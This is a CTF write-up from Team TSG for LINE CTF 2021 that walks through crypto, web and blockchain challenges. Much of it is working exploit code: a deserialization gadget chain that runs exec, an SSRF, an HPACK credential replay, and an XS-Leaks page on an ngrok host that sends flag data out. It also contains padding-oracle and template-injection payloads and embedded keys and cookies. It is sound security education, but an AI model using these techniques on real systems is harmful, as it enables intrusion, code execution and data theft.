# LINE CTF 2021 Writeup - Team TSG
## Welcome @moratorium08
:)
## babycrypto1 @hakatashi
We can encode arbitrary block with chosen IV, so we can extend the given block with arbitrary content.
```python
from ptrlib import Socket, logger
from base64 import b64encode, b64decode
from Crypto.Cipher import AES
con = Socket('35.200.115.41', 16001)
test = b64decode(con.recvlineafter('test Command: '))
iv = test[:AES.block_size]
cipher = test[AES.block_size:]
token_block = cipher[:-AES.block_size]
command_block = cipher[-AES.block_size:]
con.sendlineafter('IV...: ', b64encode(token_block[-AES.block_size:]))
con.sendlineafter('Message...: ', b64encode(b'show'))
result = b64decode(con.recvlineafter('Ciphertext:'))
new_iv = result[:AES.block_size]
new_block = result[AES.block_size:]
exploit = b64encode(iv + token_block + new_block)
con.sendlineafter('Enter your command: ', exploit)
logger.info(con.recvuntil('}'))
```
`LINECTF{warming_up_crypto_YEAH}`
## babycrypto2 @hakatashi
With chosen iv we can rewrite the first block into arbitrary content.
```python
from ptrlib import Socket, logger
from base64 import b64encode, b64decode
from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, long_to_bytes
con = Socket('35.200.39.68', 16002)
test = b64decode(con.recvlineafter('test Command: '))
iv = test[:AES.block_size]
cipher = test[AES.block_size:]
new_iv_num = bytes_to_long(iv) ^ bytes_to_long(b'testxxx') ^ bytes_to_long(b'showxxx')
new_iv = long_to_bytes(new_iv_num, 16)
exploit = b64encode(new_iv + cipher)
con.sendline(exploit)
logger.info(con.recvuntil('}'))
```
`LINECTF{echidna_kawaii_and_crypto_is_difficult}`
## babycrypto3 @nora妖怪風呂敷広げやねん(妖怪風呂敷広げなので)
```
$ openssl rsa -in pub.pem -pubin -text
RSA Public-Key: (394 bit)
Modulus:
03:28:b1:41:39:a2:e5:4b:88:a4:66:2f:1a:67:cc:
3a:cd:19:29:c9:b6:27:94:bb:64:91:6a:ff:02:99:
1f:80:45:6e:4d:0e:ed:4d:59:1d:f7:70:8d:5a:f2:
e9:b4:fb:56:89
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
ME0wDQYJKoZIhvcNAQEBBQADPAAwOQIyAyixQTmi5UuIpGYvGmfMOs0ZKcm2J5S7
ZJFq/wKZH4BFbk0O7U1ZHfdwjVry6bT7VokCAwEAAQ==
-----END PUBLIC KEY-----
```
```
N = 31864103015143373750025799158312253992115354944560440908105912458749205531455987590931871433911971516176954193675507337
e = 65537
```
I don't know why, but I can guess the prime.
```
p = 291664785919250248097148750343149685985101
```
`LINECTF{CLOSING THE DISTANCE.}`
## babycrypto4 @hakatashi
We have the approximate value of $k_i$ as $k'_i$. By letting $e_i := k_i - k'_i$,
$$
\begin{align*}
s_{i}k_{i} & =m_{i}+r_{i}d\mod n\\
s_{i}\left(k'_{i}+e_{i}\right) & =m_{i}+r_{i}d\mod n\\
\frac{r_{i}}{s_{i}}d & =k_{i}-\frac{m_{i}}{s_{i}}+e_{i}\mod n
\end{align*}
$$
Then this is HNP (Hidden number problem).
```python
from sage.modules.free_module_integer import IntegerLattice
# Babai's Nearest Plane algorithm
# from: http://mslc.ctf.su/wp/plaidctf-2016-sexec-crypto-300/
def Babai_closest_vector(M, G, target):
small = target
for _ in range(1):
for i in reversed(range(M.nrows())):
c = ((small * G[i]) / (G[i] * G[i])).round()
small -= M[i] * c
return target - small
signs = [
(0x92acb929727872bc1c7a5f69c1c3c97ae1c333e2, 0xe060459440ebc11a7cd811a66a341f095f5909e5, 0xef2b0000, 0x68e548ef4984f6e7d05cbcea4fc7c83393806bbf),
(0xb0f5df566a323de9c9449b925d29b84a607c6b5d, 0x84e39e417e47b4fcaf344255103c61ecaaec4129, 0xc1c00000, 0x1a79e7b0308805508d79f2600a01e70d4f56559e),
(0xc90081698382f98c817a137db22f11a846d699fe, 0x2f8fbb7e74b789cd762b30930ef21862a5fd68ee, 0x841b0000, 0x95e3302e197be4d8335cf0d17cc70860ea5317f7),
(0x9d84669314b014bc83f3ac53ddcf3c9536c940b1, 0x8b1a69d6e9d75f1698144badc7b93f9a2347839d, 0xa1c90000, 0xc7af08154a154ac8c58eb14380955834093b3863),
(0x96d5439a01f47e92be9ff40bee1fecb033b70d3f, 0x1c23660695d16bf03ef40e5ef53bdc92a5d348e7, 0x816e0000, 0x9d3f0dc80e962b9377ed22de66d6421457bcaf5d),
(0x3ea39f6c446918690b395ba181f6d5d08444897a, 0x4478e239338ec6652815d03b8decb2d4f58beaba, 0x9d050000, 0x478e00e6191477e6cdd17a29719d96d02e5e8960),
(0xbd1cbcd26fb6cb41878ec155fb2506534e803c97, 0xd732fbda187222d85e9a14243b007cc25e1b6b7c, 0x445a0000, 0x2493379cf90246fe7316963c65f28cd9b0a6ecd4),
(0x727f7f05a9096beb6d5f65acce6fe42ec3a07dc9, 0x8511715efb01ff83b04fe82fb7535dc7de40abef, 0x91d0000, 0x6ce034dddd5470034068c5146fae4dd039aacaf6),
(0x513ed0e15f8f3405bf0083a2186926fe60ccb65e, 0x28892ebcc428f2a566b39a2dbe03ec436641c948, 0x879d0000, 0xfe4e2564369a23e07efbf82d01c5ae7e72cd8105),
(0xebf3e23fbe73c5f50032c8e4a3d8359fef203a03, 0xa5b79ae6f8ed237a05b4325c02b8dfe7b9ff5aa7, 0x98950000, 0x762309f98ebac533fece5321736fc6ba95d8382b),
(0xc49cdbf6ec3b73188238291fa960675a099b74a0, 0xeabb1e7dcd20115a47b94ecfe8780f676e237437, 0x287a0000, 0x523ea75c4310ac1ac64fa28cc5047b7223e8da0b),
(0x9e8a731a26f509793e2b8778cd75b518549ab9c8, 0x27be029029db9d62cdb729bc592cb0a4e6168bf3, 0xebc80000, 0x9f0e9e95661f5e93c90b72af0dce38c673c7ef16),
(0xa74159f377749ad36efc28f9c7608a6758009af, 0xa3ce2671944b01f633265a6458ce2cca8b72eda6, 0x574c0000, 0x16e12f9dece23681927be002d24a0e4e6ed3ae7e),
(0xcb0a427a05b3e3dcb18a1bb66f9340d2a0c721ab, 0x4a242cca295c6018f4a65d1fadbdb45731cccd7a, 0x23f40000, 0xd7e0a09d8aed604bc1fda1f1965c4a8bf6b58621),
(0x5dc440585c88e75da002f941520867add07f93ef, 0x3612124de46659ef7d79d46f1eb05707e313b84d, 0x65850000, 0xca6547a9e3f08bd36f700b7282a36033250971ad),
(0x6e009a8f5138a5b94d4e81b5f2a07ee29b413b39, 0x8b3c33c15dca93248f840324d540b7956251d1e0, 0xb4f80000, 0xe916da678253ff7b31453ba1ec709eb909b37c5d),
(0x5091314db6155d7a96c1b19098ca235cf86d1f77, 0x2c62bf21452a2b326e8db27fb3345e10c63b2821, 0x452c0000, 0x31dd06dcf95fb04a734149eed64b7b99a575d56e),
(0x2f6eed036a46ca6e309d8d7292bd3b0796607fcc, 0x63b4524f47dcde603426c48bbb2f308bc474e5ce, 0x63780000, 0xe108d036a12b4f15cc9af89688d26634c5dfc32a),
(0x247ca1d3450a85612e6176ea5dfec4aeb90e2a3f, 0x66b1f9f04e284e28f44402f1ca7803c90786d9c2, 0x48a0000, 0xd58c608cc4d3adfc131c73cccff952c1d310a1e0),
(0xab04fc0c4981b047622c786662091f7efbbbd807, 0xa2853851df0aaed34dc972bcf7d7d5ffbbc2b401, 0x9d040000, 0x5bdd98b548b8b0f48a56fb4c41e6d09bf8bd1b0e),
]
n = len(signs)
p = 0x0100000000000000000001f4c8f927aed3ca752257
F = GF(p)
xs = [F(r) // F(s) for r, s, k, m in signs]
m = [list(map(int, xs))]
for i in range(n):
v = [0] * n
v[i] = p
m.append(v)
zs = [int(F(k) - F(m) // F(s)) for r, s, k, m in signs]
m = matrix(ZZ, m)
lattice = IntegerLattice(m, lll_reduce=True)
E = lattice.reduced_basis
gram = E.gram_schmidt()[0]
res = Babai_closest_vector(E, gram, vector(ZZ, zs))
for z, v, sign in zip(zs, res, signs):
r, s, k, m = sign
e = v - z
print(F(s * (k + e) - m) // F(r))
```
`LINECTF{0c02d451ad3c1ac6b612a759a92b770dd3bca36e}`
## atelier @dai
I assumed that when the server receives `RecipeCreateRequest` it executes
```python
# message: RecipeCreateRequest
items = message.materials.split(",")
item0 = items[0]
item1 = items[1]
# look up the recipe table...
```
So I replaced `object_to_dict` in client script with the code below.
```python=
def object_to_dict(c):
res = {}
res["__class__"] = str(c.__class__.__name__)
res["__module__"] = str(c.__module__)
res.update(c.__dict__)
if c.__class__.__name__ == 'RecipeCreateRequest':
res["materials"] = {
"__class__": "RandomSet",
"__module__": "sqlalchemy.testing.util",
"split": {
"__class__": "BooleanPredicate",
"__module__": "sqlalchemy.testing.exclusions",
"value": {
"__class__": "ConventionDict",
"__module__": "sqlalchemy.sql.naming", "convention": [],
"_key_0": {
"__class__": "_class_resolver",
"__module__": "sqlalchemy.ext.declarative.clsregistry",
"arg": "exec(\"raise Exception(open('flag').read())\")",
"_dict": {} }}}}
return res
```
When the server receives this object, `BooleanPredicate#__call__`is called with an argument ``","``, and `ConventionDict#__getitem__` is called and finally `_class_resolver#__call__`, which contains `eval` operation, is called with no arguments.
`Exception: Exception('LINECTF{4t3l13r_Pyza_th3_4lch3m1st_0f_PyWN}\n')`
## diveinternal @kcz146
`LanguageNormarize` at `private/app/main.py` has an obvious SSRF.
```python=
def LanguageNomarize(request):
if request.headers.get('Lang') is None:
return "en"
else:
regex = '^[!@#$\\/.].*/.*' # Easy~~
language = request.headers.get('Lang')
language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)
if re.search(regex,language):
return request.headers.get('Lang')
try:
data = requests.get(request.host_url+language, headers=request.headers)
if data.status_code == 200:
return data.text
else:
return request.headers.get('Lang')
except:
return request.headers.get('Lang')
```
Here, you can control `request.host_url` with any value by HTTP `Host` header, because nobody sees the value. You can specify `Host: 127.0.0.1:5000` to access the internal endpoints such as `integrityStatus`, `download` and `rollback`.
Although `download` and `rollback` endpoints are protected by `SignCheck`, with the hard-coded `privateKey`, it's of no value.
```python=
privateKey = b'let\'sbitcorinparty'
def SignCheck(request):
sigining = hmac.new( privateKey , request.query_string, hashlib.sha512 )
if sigining.hexdigest() != request.headers.get('Sign'):
return False
else:
return True
```
Then, just do
1. Obtain current `dbhash` at `integrityStatus` API
2. Compute `integrityKey`
3. Download any file on the internet to `backup/{file}`
4. Rollback from `backup/{file}`
```ruby=
require 'json'
require 'net/http'
require 'digest/sha2'
require 'openssl'
key = "let'sbitcorinparty"
uri = URI('http://35.200.63.50/apis/coin')
# uri = URI('http://localhost:12004/apis/coin')
req = Net::HTTP::Get.new(uri.path)
req['Host'] = '127.0.0.1:5000'
Net::HTTP.start(uri.host, uri.port) do |http|
req['Lang'] = 'integrityStatus'
resp = http.request req
p resp['lang']
p resp.body
h = JSON.parse(resp['lang'])['dbhash']
qs = 'src=https://www.google.com/webhp'
req['Lang'] = 'download?' + qs
req['Key'] = Digest::SHA512.hexdigest(h)
req['Sign'] = OpenSSL::HMAC.hexdigest('sha512', key, qs)
resp = http.request req
p resp['lang']
p resp.body
qs = 'dbhash=' + 'webhp'
req['Lang'] = 'rollback?' + qs
req['Key'] = Digest::SHA512.hexdigest(h)
req['Sign'] = OpenSSL::HMAC.hexdigest('sha512', key, qs)
resp = http.request req
p resp['lang']
p resp.body
end
```
## babyweb @kcz146
HTTP/2 has a header compression technology called HPACK.
* [RFC7541](https://tools.ietf.org/html/rfc7541)
* [Introduction to HTTP/2 Web Fundamentals](https://developers.google.com/web/fundamentals/performance/http2#header_compression))
With this feature, the client and the server share the context so that you don't have to resend the header that you preveiously sent in the same connection.
```python=
conn = create_connection()
conn.request("GET", "/health")
resp = conn.get_response()
headers = {
cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"],
cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"],
}
conn.request("GET", "/auth", headers=headers)
resp = conn.get_response()
conn._new_stream()
conn._send_cb(data["data"].encode('latin-1'))
conn._sock.fill()
return conn._sock.buffer.tobytes()
```
In this problem, you can send any data in `data["data"]` after a request with credentials in header was made in the same connection. Here, you can replay the `/auth` request without the knowledge of credentials by HPACK abuse.
To get an actual data to be sent,
1. vendor the pip dependencies
`$ pip install -r requirements.txt -t vendor`
2. patch [`_send_fb` in `hyper`](https://github.com/python-hyper/hyper) to dump data
```diff=
with self._lock:
try:
+ import binascii
+ import sys
+ print(binascii.hexlify(data), file=sys.stderr)
self._sock.sendall(data)
except socket.error as e:
```
3. patch `public/src/internal.py` like
```diff=
conn = create_connection()
conn.request("GET", "/health")
resp = conn.get_response()
headers = {
cfg["HEADER"]["USERNAME"]: cfg["ADMIN"]["USERNAME"],
cfg["HEADER"]["PASSWORD"]: cfg["ADMIN"]["PASSWORD"],
}
conn.request("GET", "/auth", headers=headers)
resp = conn.get_response()
- conn._new_stream()
- conn._send_cb(data["data"].encode('latin-1'))
- conn._sock.fill()
- return conn._sock.buffer.tobytes()
+ import sys
+ print("BEGIN", file=sys.stderr)
+ conn.request("GET", "/auth", headers=headers)
+ print("END", file=sys.stderr)
+ return conn.get_response().read()
```
4. send some request and see docker log.
```
linectf_babyweb_public | b''
linectf_babyweb_public | BEGIN
linectf_babyweb_public | b'0000060105000000058287c2c0bfbe'
linectf_babyweb_public | b''
linectf_babyweb_public | END
linectf_babyweb_public | 172.26.0.4 - - [22/Mar/2021 15:44:56] "POST /internal/health HTTP/1.1" 200 -
linectf_babyweb_httpd | 172.26.0.1 - - [22/Mar/2021:15:44:56 +0000] "POST /internal/health HTTP/1.1" 200 171
```
Then, send the obtained payload to the remote:
```shell=
$ curl -XPOST http://35.187.196.233/internal/health \
-H "Content-Type: application/json" \
-d '{"type": "2", "data": "\u0000\u0000\u0006\u0001\u0005\u0000\u0000\u0000\u0005\u0082\u0087\u00c2\u00c0\u00bf\u00be"}' -v \
| cat
{"result":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTYyNTY3MDR9.eaDbPz0kKHMZymYIIFmwb5FWcnufpsIZWzgRWh0AELg"}
```
In the almost same way, by the power of HPACK, you can make a request with only `path` and `x-token` overrided keeping the admin credentials.
## Sakura @satos
```javascript=
const abi = JSON.parse('[{"inputs":[{"internalType":"address","name":"_admin_account","type":"address"},{"internalType":"address payable","name":"_fee_account","type":"address"},{"internalType":"string","name":"_description","type":"string"},{"internalType":"uint256","name":"_max_holders","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_fixed_fee","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[],"name":"AdminApprovalRequired","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"AdminApproved","type":"event"},{"anonymous":false,"inputs":[],"name":"Cancelled","type":"event"},{"anonymous":false,"inputs":[],"name":"Closed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"answer","type":"uint256"}],"name":"Locked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"UserJudged","type":"event"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"adminJudge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cancelByAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cancelByUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLocked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLockedList","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"lock","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revoke","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"_answer","type":"uint16"}],"name":"userJudge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]');
var Contract = require('web3-eth-contract');
var contract = new Contract(abi);
var txdata = contract.methods.lock(2).encodeABI();
var Tx = require('ethereumjs-tx');
var privateKey = Buffer.from("804365e293b9fab9bd11bddd39082396d56d30779efbb3ffb0a6089027902c4a", "hex")
var Saddr = "0xe7 cb 1c 67 75 2c bb 97 5a 56 81 5a f2 42 ce 2c e6 3d 31 13".split(' ').join('');
var rawTx = {
nonce: '0x00',
gasLimit: '0x27100',
to: Saddr,
value: '0x70000000000000000',
data: txdata
}
var tx = new Tx.Transaction(rawTx);
tx.sign(privateKey);
var tjson = {};
for(let i=0;i<tx.raw.length;i++){
tjson[tx._fields[i]] = '0x' + tx.raw[i].toString('hex');
}
var jstr = JSON.stringify(tjson);
var idat = `-999931337\n${jstr}`;
const fs = require('fs');
fs.writeFileSync('i',idat)
// cat i - | nc 34.84.178.140 13000
// 1\n1\n4\n
// LINECTF{S4kura_hira_hira_come_to_spring}
```
## Your Note @hakatashi
When the search hits the flag, the JSON with `Content-disposition: attachment;filename=result.json` is downloaded.
So we searched the term "Content-Disposition" in [XS-Leaks Wiki](https://xsleaks.com/) and [Navigations | XS-Leaks Wiki](https://xsleaks.com/docs/attacks/navigations/) gave us answer.
```exploit.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Exploit</title>
</head>
<body>
<script>
const log = (message) => {
const img = document.createElement('img');
img.src = `/answer/${message}`;
document.body.appendChild(img);
};
const params = (new URL(document.location)).searchParams;
const origin = params.get('origin');
const prefix = params.get('prefix');
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789-}'.split('');
const wins = [];
for (const char of chars) {
const url = `http://${origin}/search?q=${encodeURIComponent(prefix + char)}&download=true`;
const win = window.open(url);
wins.push(win);
}
setTimeout(() => {
const answers = [];
for (const [i, win] of wins.entries()) {
try {
win.origin;
answers.push(chars[i])
} catch (e) {
// nop
}
}
log(prefix + answers.join(','))
}, 5000)
</script>
</body>
</html>
```
```
http://34.84.72.167/login?redirect=%40e300c5feadf1.ngrok.io%2Fexploit.html%3forigin=34.84.72.167%26prefix=LINECTF%7B1-kn0w-what-y0u-d0wn10ad
```
`LINECTF{1-kn0w-what-y0u-d0wn10ad}`
Solving this challenge was really (unnecessarily) exhausting because solving PoW is too slow and server downs during solving it many times.
## 3233 @kcz146
**TL;DR** It's a web challenge, so perform padding oracle attack.
You can join to alice:bob room by just connecting to socket.io endpoint with any session information and then `emit('join', {room: 'alice:bob'})`. In the room, any `message` from alice can be captured. You can even send `message` to alice.
However, the text in `messages` is encrypted with AES-CBC... (See code around `sendMessage` in `/3233-front/app/src/views/Chat.vue`.) Though you can send any `message`, alice's browser will fail to decrypt your text because alice tries to decrypt it with a shared secret key with bob, so meaningless... *Really???*
In this problem, alice's browser *marks* the received messages as `read`. You are notified through `read` packets which messages has been read by alice. When alice fails to decrypt a message, crypto library throws an exception, so `read` packet won't be sent.
It can be oracle for padding oracle attack against AES-CBC.
Some scripting will show you the decrypted FLAG.
```node=
const socket = require('socket.io-client')("http://34.84.186.5/", {
path: '/api/socket',
extraHeaders: {
cookie: 'sessionId=s%3AJeDePsik5pbnZgUpEjJwyk8i9_eYe9EM.YCARMr3RZ%2BFT1PYrw7MLnlQeTIODr7cRVSy6LfZBGsE',
},
});
socket.on('connection', () => console.log('connect!'));
socket.on('message', (data) => {
console.log(JSON.stringify({
...data,
...{message: data.message.toString('hex')},
type: 'message',
}));
});
socket.on('read', (data) => {
console.log(JSON.stringify({
...data,
type: 'read',
}));
});
socket.emit('join', {room: 'alice:bob'});
(async () => {
for await (const line of process.stdin) {
socket.emit('message', {
message: Buffer.from((''+line).trim(), 'hex'),
to: 'alice',
});
}
})();
```
```ruby=
require 'json'
require 'thread'
$read = {}
$m2id = {}
# original code is at https://github.com/mudge/padding-oracles
class Oracle
attr_reader :cipher
def initialize(cipher)
@cipher = cipher
end
def attack(ciphertext)
ciphertext_blocks = cipher.split(ciphertext)
ciphertext_blocks.each_cons(2).flat_map { |previous_block, target_block|
m = Array.new(cipher.block_size)
cipher.block_size.pred.downto(0).each do |i|
pad = cipher.block_size - i
padding_size = cipher.block_size - i - 1
butlast = previous_block[0, i]
padding = padding_size.downto(1).map { |j| previous_block[cipher.block_size - j] ^ m[cipher.block_size - j] ^ pad }
$res = Array.new(256)
$q = 256.times.to_a
threads = 20.times.map {
Thread.start do
while g = $q.shift
warn g
crafted_ciphertext = butlast + [previous_block[i] ^ g ^ pad] + padding + target_block
$res[g] = cipher.valid_padding?(crafted_ciphertext.pack('C*')) && pad != g
$q = [] if $res[g]
end
end
}
threads.map(&:join)
m[i] = (0..255).find { |g| $res[g] } || pad
warn 'progressing...', m.map{|x|x || 0x3f}.pack("C*")
end
m
}.pack('C*')
end
end
class Cipher
attr_reader :block_size
def initialize(data)
@data = data
@block_size = 16
end
def valid_padding?(ciphertext)
hex = ciphertext.unpack1("H*")
id = nil
loop do
$io.puts hex
sleep 0.5
id = $m2id[hex]
break if id
end
warn 'detecting.... %s, %s' % [hex, id]
sleep 1
res = $read[id]
warn 'read! %s' % id if res
res
end
def split(bytestring)
bytestring.unpack('C*').each_slice(block_size).entries
end
end
IO.popen('node client.js', "r+") do |io|
$io = io
nil until obj = JSON.parse(io.gets) and obj['type'] == 'message' and obj['from'] == 'alice' and obj['to'] == 'bob'
puts obj
msg = [obj['message']].pack("H*")
Thread.new do
loop do
while obj = JSON.parse($io.gets)
case obj['type']
when 'message'
$m2id[obj['message']] = obj['id']
when 'read'
$read[obj['id']] = true
end
end
end
end
cipher = Cipher.new(msg)
puts Oracle.new(cipher).attack(msg)
end
```

## babysandbox @hakatashi
```
if(!saveOptions.ext.includes('.ejs') || saveOptions.ext.length !== 4) isChecked = false;
```
can be bypassed by using an array like `"ext": [".ejs", "", "", ".js"]` and we can put the file with arbitrary extension.
In the rendering section:
```
res.render(`sandbox/${req.params.sandboxPath}/${req.params.filename}`, {flag});
```
is called. The `res.render` function uses the extension to [determine which kind of template they use](https://github.com/expressjs/express/blob/508936853a6e311099c9985d4c11a4b1b8f6af07/lib/view.js#L81).
By looking at `package.json`, we can see the suspicious unused package `hbs`. This can be used to bypass `<>` check.
The remaining task is to crack handlebars to output `flag` variable without using the string `flag`.
After the tries after tries, I constructed the following payload.
```hbs
{{#with this as |o|}}
{{#with "fl" as |s|}}
{{#with (s.concat "ag") as |n|}}
{{#with (n.slice 0 4) as |p|}}
{{lookup o p}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
```
Final solver:
```j
const axios = require('axios');
const exploit = `
{{#with this as |o|}}
{{#with "fl" as |s|}}
{{#with (s.concat "ag") as |n|}}
{{#with (n.slice 0 4) as |p|}}
{{lookup o p}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
`;
(async () => {
const filename = Array.from(Array(16).keys()).map(() => 'abcdefgh'[Math.floor(Math.random() * 8)]).join('');
const res = await axios.post('http://localhost:8000/550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf', {
contents: exploit,
filename,
ext: [".ejs", "a", "a", "a.hbs"],
});
console.log(res.data);
try {
const {data} = await axios.get(`http://localhost:8000/550a47c54a2c9d980a7b1ba202bebbbdbe37bd36954424d2c1d5d135bfd9f3cf/${filename}.ejs,a,a,a.hbs`);
console.log(data);
} catch (e) {
console.log(e.response.data);
}
})();
```
`LINECTF{I_think_emilia_is_reallllly_t3nshi}`
Definitely.